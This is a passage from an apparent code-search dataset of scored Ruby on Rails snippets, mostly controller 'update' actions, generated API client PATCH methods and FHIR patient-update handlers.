@generic_indication.update(generic_indication_params)\n format.html { redirect_to @generic_indication, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_indication }\n else\n format.html { render :edit }\n format.json { render json: @generic_indication.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba22641bc0b9014e7348a7c72449706e", "score": "0.5876095", "text": "def update\n @initiative = Initiative.find(params[:id])\n\n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25ea692b7f280ab4c8100d42676ef854", "score": "0.58728534", "text": "def update\n @food_promise = FoodPromise.find(params[:id])\n\n respond_to do |format|\n if @food_promise.update_attributes(params[:food_promise])\n format.html { redirect_to @food_promise, notice: 'Food item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_promise.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "712efdcde6e157849db4f6d271300b4c", "score": "0.58694035", "text": "def update\n @express_interst = ExpressInterst.find(params[:id])\n\n respond_to do |format|\n if @express_interst.update_attributes(params[:express_interst])\n format.html { redirect_to @express_interst, notice: 'Express interst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @express_interst.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "548ba1babbcdb78511c04a317bf5c979", "score": "0.5868233", "text": "def update\n json_update(factType,factType_params, FactType)\n end", "title": "" }, { "docid": "a1ddb9bd3c8ead10bdbf748775db8683", "score": "0.58678114", "text": "def update\n @interim_attestation = InterimAttestation.find(params[:id])\n\n respond_to do |format|\n if @interim_attestation.update_attributes(params[:interim_attestation])\n format.html { redirect_to @interim_attestation, notice: 'Interim attestation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interim_attestation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec959881bc10f22d56f673dd90c06221", "score": "0.5866289", "text": "def update\n respond_to do |format|\n if @hack.update(hack_params)\n format.html { redirect_to @hack, notice: 'Hack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0bfd5f41b8462e68a734e28e4a32d332", "score": "0.58639365", "text": "def update\n @inspiration = get_inspiration(params[:id])\n\n respond_to do |format|\n if @inspiration.update_attributes(params[:inspiration])\n format.html { redirect_to @inspiration, notice: 'Inspiration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inspiration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d42e17b6ad3130f8524fce4462442f2", "score": "0.5863741", "text": "def update\n respond_to do |format|\n if @superset_exercise.update(superset_exercise_params)\n format.html { redirect_to @superset_exercise, notice: 'Superset exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @superset_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c32f4ad5e04480a30803f86d71b429d", "score": "0.58610564", "text": "def update\n @impress = Impress.find(params[:id])\n\n respond_to do |format|\n if @impress.update_attributes(params[:impress])\n format.html { redirect_to @impress, notice: 'Impress was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @impress.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0764ae2e134e39116148ae33b84ac2ce", "score": "0.58574593", "text": "def update\n respond_to do |format|\n if @natural_resource_typology.update(natural_resource_typology_params)\n format.html { redirect_to @natural_resource_typology, notice: 'Natural resource typology was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @natural_resource_typology.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff9e31111aa47ff2ea1b8ce2ac3923f9", "score": "0.58521616", "text": "def patch_equipment_shared_io_module_with_http_info(moid, equipment_shared_io_module, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EquipmentApi.patch_equipment_shared_io_module ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling EquipmentApi.patch_equipment_shared_io_module\"\n end\n # verify the required parameter 'equipment_shared_io_module' is set\n if @api_client.config.client_side_validation && equipment_shared_io_module.nil?\n fail ArgumentError, \"Missing the required parameter 'equipment_shared_io_module' when calling EquipmentApi.patch_equipment_shared_io_module\"\n end\n # resource path\n local_var_path = '/api/v1/equipment/SharedIoModules/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(equipment_shared_io_module)\n\n # return_type\n return_type = opts[:debug_return_type] || 'EquipmentSharedIoModule'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"EquipmentApi.patch_equipment_shared_io_module\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EquipmentApi#patch_equipment_shared_io_module\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9f40b320bb0820be5fb7ad8c1e3b3777", "score": "0.5852025", "text": "def update\n status_unsupported_media_type && return unless content_type_header?\n\n # Parse in the FHIR::Patient\n contents = FHIR.from_contents(request.body.string)\n errors = contents&.validate\n status_bad_request(format_fhir_validation_errors(errors)) && return if contents.nil? || !errors.empty?\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n return if doorkeeper_authorize!(\n :'user/Patient.write',\n :'user/Patient.*',\n :'system/Patient.write',\n :'system/Patient.*'\n )\n\n updates = Patient.from_fhir(contents, default_patient_jurisdiction_id)\n\n resource = get_patient(params.permit(:id)[:id])\n\n # Grab patient before changes to construct diff\n patient_before = resource.dup\n\n # If \"monitoring\" was set to false for a Patient that was previously being monitored\n if !resource.nil? && resource.monitoring && updates&.key?(:monitoring) && !updates[:monitoring]\n # Add closed_at to updates\n updates[:closed_at] = DateTime.now\n end\n else\n status_not_found && return\n end\n\n status_forbidden && return if resource.nil?\n\n # Try to update the resource\n status_unprocessable_entity && return if updates.nil?\n\n # The resource.update method does not allow a context to be passed, so first we assign the updates, then save\n resource.assign_attributes(updates)\n unless jurisdiction_valid_for_client?(resource) && resource.save(context: :api)\n status_unprocessable_entity(format_model_validation_errors(resource)) && return\n end\n\n if resource_type == 'patient'\n # Update patient history with detailed edit diff\n Patient.detailed_history_edit(patient_before, resource, resource.creator&.email, updates, is_api_edit: true)\n end\n\n status_ok(resource.as_fhir) && return\n rescue StandardError\n render json: operation_outcome_fatal.to_json, status: :internal_server_error\n end", "title": "" }, { "docid": "e85664747acaea504318e3bc32ca8d47", "score": "0.58502257", "text": "def update\n @new_ingredient = ingredient_params.dup\n\n @new_ingredient = self.update_optionalsetname(ingredient_params.dup)\n\n respond_to do |format|\n if @ingredient.update(@new_ingredient)\n format.html { redirect_to ingredients_url, notice: 'Ingredient was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingredient }\n else\n format.html { render :edit }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "473d3456503fb85f18f6c0d6fddf0f37", "score": "0.58481884", "text": "def dis_generic_hepatic_imp_params\n params.require(:dis_generic_hepatic_imp).permit(:generic_id, :warning, :description, :status_id, :datasource_id)\n end", "title": "" }, { "docid": "7768833081dfe442923783bf36a73c8b", "score": "0.58473283", "text": "def update\n respond_to do |format|\n if @imp_survey.update(imp_survey_params)\n format.html { redirect_to @imp_survey, notice: 'Imp survey was successfully updated.' }\n format.json { render :show, status: :ok, location: @imp_survey }\n else\n format.html { render :edit }\n format.json { render json: @imp_survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f398e4fb8019a5b5da804356432c526", "score": "0.5846675", "text": "def update\n @ihateerb = Ihateerb.find(params[:id])\n\n respond_to do |format|\n if @ihateerb.update_attributes(params[:ihateerb])\n format.html { redirect_to @ihateerb, :notice => 'Ihateerb was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ihateerb.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d7305d690ea2f80f67c95cf6714a151", "score": "0.5845212", "text": "def patch_equipment_io_card_with_http_info(moid, equipment_io_card, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EquipmentApi.patch_equipment_io_card ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling EquipmentApi.patch_equipment_io_card\"\n end\n # verify the required parameter 'equipment_io_card' is set\n if @api_client.config.client_side_validation && equipment_io_card.nil?\n fail ArgumentError, \"Missing the required parameter 'equipment_io_card' when calling EquipmentApi.patch_equipment_io_card\"\n end\n # resource path\n local_var_path = '/api/v1/equipment/IoCards/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(equipment_io_card)\n\n # return_type\n return_type = opts[:debug_return_type] || 'EquipmentIoCard'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"EquipmentApi.patch_equipment_io_card\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EquipmentApi#patch_equipment_io_card\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "df59febe7d7f48ab75fb6992d872d1cc", "score": "0.58433783", "text": "def update\n @interaction_entity = InteractionEntity.find(params[:id])\n\n respond_to do |format|\n if @interaction_entity.update_attributes(params[:interaction_entity])\n format.html { redirect_to @interaction_entity, notice: 'Interaction entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interaction_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0843f9bd2f68be4dabfedd8c019e782d", "score": "0.584282", "text": "def update\n respond_to do |format|\n if @ivr_based.update(ivr_based_params)\n format.html { redirect_to @ivr_based, notice: 'Ivr based was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ivr_based.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "404fee129164f0e580bdc585d4b60289", "score": "0.58401924", "text": "def update\n @req = Req.find(params[:id])\n\n respond_to do |format|\n if @req.update_attributes(params[:req])\n format.html { redirect_to @req, notice: 'Req was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @req.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ec7295d5f18c7394e7fca88b8611cdb", "score": "0.58385676", "text": "def apply_patch(resource, patch)\n FHIR.from_contents(patch.apply(resource.as_fhir.to_hash).to_json)\n rescue StandardError => e\n status_bad_request([['Unable to apply patch', e&.message].compact.join(': ')]) && (raise ClientError)\n end", "title": "" }, { "docid": "fa5b5ccccfc0c9e4dee51c2d7e0bff9d", "score": "0.5837984", "text": "def update\n @lop_mon_hoc_sinh_vien = LopMonHocSinhVien.find(params[:id])\n\n respond_to do |format|\n if @lop_mon_hoc_sinh_vien.update_attributes(params[:lop_mon_hoc_sinh_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @lop_mon_hoc_sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b96fff625d278f3de0432ef5785d7c3", "score": "0.5835201", "text": "def update(*args)\n respond_to do |format|\n if @object.update_attributes(params[@model_path.gsub('-', '_')]) #NOTE may be use just write on id without find before?\n format.html { redirect_to ooorest.index_path, notice: \"successfully update\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @object.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e8e9bfbc63837387003aabe3930dd80", "score": "0.5834462", "text": "def update\n respond_to do |format|\n if @example_lift_req.update(example_lift_req_params)\n format.html { redirect_to @example_lift_req, notice: 'Example lift req was successfully updated.' }\n format.json { render :show, status: :ok, location: @example_lift_req }\n else\n format.html { render :edit }\n format.json { render json: @example_lift_req.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e3ac91b4b24fcd1d2311875a15c47b30", "score": "0.5830746", "text": "def update\n @equipment = Equipment.find(@intervention.equipment_id)\n respond_to do |format|\n if @intervention.update(intervention_params)\n format.html { redirect_to equipment_intervention_path(@equipment, @intervention), notice: 'A intervenção foi actualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @intervention }\n else\n format.html { render :edit }\n format.json { render json: @intervention.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19d2bab4e69224e8d901cce33284f5ac", "score": "0.58306354", "text": "def update\n horse = Horse.find(params[:id])\n puts params\n if params[:_method] ==\"patch\"\n horse.update_attributes(horse_params)\n redirect_to horse\n else\n if horse.update_attributes(horsey_params)\n redirect_to horse\n else\n render :edit\n end\n end\n end", "title": "" }, { "docid": "7b8983e5717022c9bd95ec201d5abf7f", "score": "0.58186656", "text": "def update\n @equipment = Equipment.find(params[:id])\n\n if @equipment.update(equipment_params)\n head :no_content\n else\n render json: @equipment.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3e070c53dc6bbab68828a98d9fb50c71", "score": "0.58182424", "text": "def update\n @impacts_param = ImpactsParam.find(params[:id])\n\n respond_to do |format|\n if @impacts_param.update_attributes(params[:impacts_param])\n format.html { redirect_to @impacts_param.impact}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @impacts_param.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d036f5928775004c5824e1d2203ee3e", "score": "0.58096486", "text": "def update\n respond_to do |format|\n if @impressum.update(impressum_params)\n format.html { redirect_to impressums_url, notice: I18n.t('eupdated') }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "bda5c335196989bc06101d61bcb032c4", "score": "0.5809521", "text": "def update\n respond_to do |format|\n if @table_specification.update(table_specification_params)\n format.json { head :no_content }\n format.js\n else\n format.json { respond_with_bip(@table_specification) }\n end\n end \n end", "title": "" }, { "docid": "b60525837313cd236331d44018c97863", "score": "0.58091605", "text": "def update\n respond_to do |format|\n if @regiment.update(regiment_params)\n update_regiment_exercises\n format.html { redirect_to @regiment, notice: 'Regiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @regiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4fbe2bb4554c75214ec612a847f458e", "score": "0.5803681", "text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "3c9afb1f29179719fb7a43af2782bb1b", "score": "0.5801383", "text": "def update\n if request.patch?\n status_unsupported_media_type && return unless content_type_header?('application/json-patch+json')\n\n # Parse in the JSON patch\n request_body = request.body.read\n patch = Hana::Patch.new(JSON.parse(request_body))\n else\n status_unsupported_media_type && return unless content_type_header?('application/fhir+json')\n\n # Parse in the FHIR\n request_body = request.body.read\n contents = FHIR.from_contents(request_body) if request_body.present?\n errors = contents&.validate\n status_bad_request(format_fhir_validation_errors(errors)) && return if contents.nil? || !errors.empty?\n end\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n return if doorkeeper_authorize!(*PATIENT_WRITE_SCOPES)\n\n # Get the patient that needs to be updated\n patient = get_patient(params.permit(:id)[:id])\n status_forbidden && return if patient.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(patient, patch) if request.patch?\n\n # Get patient values before updates occur for later comparison\n patient_before = patient.dup\n\n # Get key value pairs from the update.\n # fhir_map is of the form:\n # { attribute_name: { value: <converted-value>, path: <fhirpath-to-corresponding-fhir-element> } }\n fhir_map = patient_from_fhir(contents, default_patient_jurisdiction_id)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity(nil, nil, nil) && return if request_updates.nil?\n\n # Assign any remaining updates to the patient\n # NOTE: The patient.update method does not allow a context to be passed, so first we assign the updates, then save\n patient.assign_attributes(request_updates)\n\n # Wrap updates to the Patient, Transfer creation, and History creation in a transaction\n # so that they occur atomically\n ActiveRecord::Base.transaction do\n # Verify that the updated jurisdiction and other updates are valid\n unless jurisdiction_valid_for_update?(patient) && patient.save(context: :api) && fhir_map.all? { |_k, v| v[:errors].blank? }\n req_json = request.patch? ? patient.as_fhir.to_json : JSON.parse(request_body)\n status_unprocessable_entity(patient, fhir_map, req_json) && return\n end\n\n # If the jurisdiction was changed, create a Transfer\n if request_updates&.keys&.include?(:jurisdiction_id) &&\n !request_updates[:jurisdiction_id].nil? &&\n patient_before.jurisdiction_id != patient.jurisdiction_id\n Transfer.create!(patient: patient, from_jurisdiction: patient_before.jurisdiction, to_jurisdiction: patient.jurisdiction, who: @current_actor)\n end\n\n # Handle creating history items based on all of the updates\n update_all_patient_history(request_updates, patient_before, patient)\n end\n\n status_ok(patient.as_fhir) && return\n when 'relatedperson'\n return if doorkeeper_authorize!(*RELATED_PERSON_WRITE_SCOPES)\n\n # Get the CloseContact that needs to be updated\n close_contact = get_record(CloseContact, params.permit(:id)[:id])\n status_forbidden && return if close_contact.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(close_contact, patch) if request.patch?\n\n update_record(*update_model_from_fhir(close_contact, contents, :close_contact_from_fhir), request_body, :close_contact_edit, 'close contact')\n\n status_ok(close_contact.as_fhir) && return\n when 'immunization'\n return if doorkeeper_authorize!(*IMMUNIZATION_WRITE_SCOPES)\n\n # Get the Vaccine that needs to be updated\n vaccine = get_record(Vaccine, params.permit(:id)[:id])\n status_forbidden && return if vaccine.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(vaccine, patch) if request.patch?\n\n update_record(*update_model_from_fhir(vaccine, contents, :vaccine_from_fhir), request_body, :vaccination_edit, 'vaccination')\n\n status_ok(vaccine.as_fhir) && return\n when 'observation'\n return if doorkeeper_authorize!(*OBSERVATION_WRITE_SCOPES)\n\n # Get the Lab that needs to be updated\n lab = get_record(Laboratory, params.permit(:id)[:id])\n status_forbidden && return if lab.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(lab, patch) if request.patch?\n\n update_record(*update_model_from_fhir(lab, contents, :laboratory_from_fhir), request_body, :lab_result_edit, 'lab result')\n\n status_ok(lab.as_fhir) && return\n else\n status_not_found && return\n end\n rescue JSON::ParserError\n status_bad_request(['Invalid JSON in request body'])\n end", "title": "" }, { "docid": "e7f356735a057236192b1e3eeb951190", "score": "0.58007836", "text": "def update\n @finding_haptic = FindingHaptic.find(params[:id])\n\n respond_to do |format|\n if @finding_haptic.update_attributes(params[:finding_haptic])\n format.html { redirect_to @finding_haptic, notice: 'Finding haptic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @finding_haptic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38f44f30251232be5045891785e708d9", "score": "0.5799769", "text": "def update\n @ice_ore = IceOre.find(params[:id])\n \n respond_to do |format|\n if @ice_ore.update_attributes(params[:ice_ore])\n format.html { redirect_to @ice_ore, notice: 'Ice ore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ice_ore.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d64d8656bf50e619f090cbdfd140996", "score": "0.5789942", "text": "def update\n @hack = Hack.find(params[:hack_id])\n\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n #@hack here seems to constuct the redir url wrong - wrong event id err\n format.html { redirect_to @hack, notice: 'Hack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b606bda3923f9b2131fe72b417cc447", "score": "0.57876503", "text": "def update\n @hypsometry = Hypsometry.find(params[:id])\n\n respond_to do |format|\n if @hypsometry.update_attributes(params[:hypsometry])\n format.html { redirect_to @hypsometry, notice: 'Hypsometry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hypsometry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99ba8e5db0e32af263759e71ba948e27", "score": "0.57858586", "text": "def update\n @impdate = Impdate.find(params[:id])\n\n respond_to do |format|\n if @impdate.update_attributes(params[:impdate])\n format.html { redirect_to @impdate, notice: 'Impdate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @impdate.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "508f3123c827a165965ac5c9e043b60e", "score": "0.57849675", "text": "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "title": "" }, { "docid": "508f3123c827a165965ac5c9e043b60e", "score": "0.57849675", "text": "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "title": "" }, { "docid": "508f3123c827a165965ac5c9e043b60e", "score": "0.57849675", "text": "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "title": "" }, { "docid": "508f3123c827a165965ac5c9e043b60e", "score": "0.57849675", "text": "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "title": "" }, { "docid": "5a05117d18669f03b7b35deeb7f01064", "score": "0.57848936", "text": "def update\n @impediment = Impediment.find(params[:id])\n\n respond_to do |format|\n if @impediment.update_attributes(params[:impediment])\n format.html { redirect_to @impediment, notice: 'Impediment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @impediment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a69370a16da54692dae004502deddc99", "score": "0.57816213", "text": "def update\n @fetch_gi = FetchGi.find(params[:id])\n\n respond_to do |format|\n if @fetch_gi.update_attributes(params[:fetch_gi])\n format.html { redirect_to @fetch_gi, notice: 'Fetch gi was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fetch_gi.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0fd8b386984231b456f19afc5c48b6fc", "score": "0.57802963", "text": "def update\n respond_to do |format|\n if @irrational.update(irrational_params)\n if @irrational.valid?\n set_exact\n implant_fractions(Fraction, @irrational.input.frac, 10000)\n implant_fractions(PiFraction, @irrational.input/Math::PI, 1000)\n implant_fractions_and_function(SqrtFraction, Proc.new { |x| Math.sqrt(x) }, :root, 2)\n implant_fractions_and_function(EFraction, Proc.new { |x| Math::E ** x }, :power, 1)\n end\n format.html { redirect_to @irrational, notice: 'Irrational was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @irrational.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93b87392583636939833d89819779a27", "score": "0.578006", "text": "def update\n @impact = Impact.find(params[:id])\n\n respond_to do |format|\n if @impact.update_attributes(params[:impact])\n format.html { redirect_to(current_risk_configuration, :notice => 'Impact was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @impact.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0e399f140fd6e2e67e3f41c8f08aafc", "score": "0.57774854", "text": "def update\n respond_to do |format|\n if @ic.update(ic_params)\n format.html { redirect_to @ic, notice: 'Ic was successfully updated.' }\n format.json { render :show, status: :ok, location: @ic }\n else\n format.html { render :edit }\n format.json { render json: @ic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0e399f140fd6e2e67e3f41c8f08aafc", "score": "0.57774854", "text": "def update\n respond_to do |format|\n if @ic.update(ic_params)\n format.html { redirect_to @ic, notice: 'Ic was successfully updated.' }\n format.json { render :show, status: :ok, location: @ic }\n else\n format.html { render :edit }\n format.json { render json: @ic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "431a45781ce2f8ecb8507cd50823bd5d", "score": "0.57774025", "text": "def update\n respond_to do |format|\n if @indicator_resource.update(indicator_resource_params)\n format.html { redirect_to @indicator_resource, notice: 'Indicator resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @indicator_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03b14059c43d89ea05d1fc496754ac14", "score": "0.57727283", "text": "def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user)\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end", "title": "" }, { "docid": "5a939aa5061e1ffc38aa6c641e968023", "score": "0.57724464", "text": "def update\n @experiment_haptic = ExperimentHaptic.find(params[:id])\n\n respond_to do |format|\n if @experiment_haptic.update_attributes(params[:experiment_haptic])\n format.html { redirect_to @experiment_haptic, notice: 'Experiment haptic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment_haptic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f00d40657a46dd85e820735d63375384", "score": "0.5771674", "text": "def update\n respond_to do |format|\n if @alcohol_interaction.update(alcohol_interaction_params)\n format.html { redirect_to @alcohol_interaction, notice: 'Alcohol interaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @alcohol_interaction }\n else\n format.html { render :edit }\n format.json { render json: @alcohol_interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6646668af39935bb23d11fac40080414", "score": "0.5768465", "text": "def update\n respond_to do |format|\n if @atp_impost.update(atp_impost_params)\n format.html { redirect_to @atp_impost, notice: 'Atp impost was successfully updated.' }\n format.json { render :show, status: :ok, location: @atp_impost }\n else\n format.html { render :edit }\n format.json { render json: @atp_impost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f440b6d1f03be241da58e1b00f66ecc", "score": "0.5767316", "text": "def update\n if request.patch?\n status_unsupported_media_type && return unless content_type_header?('application/json-patch+json')\n\n # Parse in the JSON patch\n patch = Hana::Patch.new(JSON.parse(request.body.string))\n else\n status_unsupported_media_type && return unless content_type_header?('application/fhir+json')\n\n # Parse in the FHIR\n contents = FHIR.from_contents(request.body.string)\n errors = contents&.validate\n status_bad_request(format_fhir_validation_errors(errors)) && return if contents.nil? || !errors.empty?\n end\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n return if doorkeeper_authorize!(\n :'user/Patient.write',\n :'user/Patient.*',\n :'system/Patient.write',\n :'system/Patient.*'\n )\n\n # Get the patient that needs to be updated\n patient = get_patient(params.permit(:id)[:id])\n status_forbidden && return if patient.nil?\n\n # Get the contents from applying a patch, if needed\n if request.patch? && !patient.nil?\n begin\n contents = apply_patch(patient, patch)\n rescue StandardError => e\n status_bad_request([['Unable to apply patch', e&.message].compact.join(': ')]) && return\n end\n end\n\n # Get patient values before updates occur for later comparison\n patient_before = patient.dup\n\n # Get key value pairs from the 